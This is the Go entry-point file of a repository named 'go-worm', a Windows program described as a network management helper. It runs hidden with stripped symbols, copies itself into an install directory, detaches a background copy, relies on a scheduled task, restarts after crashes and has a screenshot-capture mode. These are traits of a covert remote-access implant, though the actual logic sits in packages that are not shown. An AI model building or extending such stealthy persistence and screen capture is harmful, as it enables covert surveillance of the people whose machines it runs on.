go-worm/main.go

// win64_mp is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
//	GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o win64_mp.exe .
//
// Runs headless by default. Use -foreground for a visible console (dev only).
// Use -background to spawn a detached copy and exit the launcher.
package main

import (
	"errors"
	"flag"
	"fmt"
	"os"
	"strings"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/agent"
	"tea.chunkbyte.com/kato/go-worm/lib/capture"
	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/install"
	"tea.chunkbyte.com/kato/go-worm/lib/instance"
)

var errAlreadyRunning = errors.New("agent already running")

func main() {
	defer func() {
		if r := recover(); r != nil {
			crashlog.RecordPanic(r)
			helpers.Log.Printf("fatal panic: %v", r)
		}
	}()

	background := flag.Bool("background", false, "spawn detached agent and exit")
	ensure := flag.Bool("ensure", false, "run the agent if it is not already running")
	foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
	skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
	parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
	addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
	captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)")
	flag.Parse()

	if *captureMode {
		os.Exit(capture.RunHelper())
	}

	if *foreground {
		instance.AllowConsoleKill()
		instance.ShowConsole()
	} else {
		_ = helpers.AttachLogFile()
	}

	if !*skipInstall {
		if err := install.Ensure(); err != nil {
			die(err, *foreground)
		}
	}

	if *ensure {
		if instance.AlreadyRunning() {
			return
		}
		// Stay resident as the agent. Do not spawn another -ensure process:
		// that child died with the scheduled task, which looked like a flash.
	} else if *background {
		if err := instance.Detach(); err != nil {
			die(err, *foreground)
		}
		return
	}

	cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel, StopOnInterrupt: *foreground}
	for {
		err := runAgent(cfg)
		if err == nil {
			return
		}
		if errors.Is(err, errAlreadyRunning) {
			return
		}
		crashlog.RecordError(err)
		helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
		time.Sleep(config.RestartDelay)
	}
}

func runAgent(cfg agent.Config) (err error) {
	defer func() {
		if r := recover(); r != nil {
			crashlog.RecordPanic(r)
			err = fmt.Errorf("panic: %v", r)
		}
	}()

	a, err := agent.New(cfg)
	if err != nil {
		if strings.Contains(err.Error(), "already running") {
			return errAlreadyRunning
		}
		return err
	}
	defer a.Close()

	if err := a.Serve(); err != nil {
		return err
	}
	return nil
}

func die(err error, foreground bool) {
	if !foreground {
		instance.HideConsole()
		_ = helpers.AttachLogFile()
	}
	crashlog.RecordError(err)
	helpers.Log.Fatal(err)
}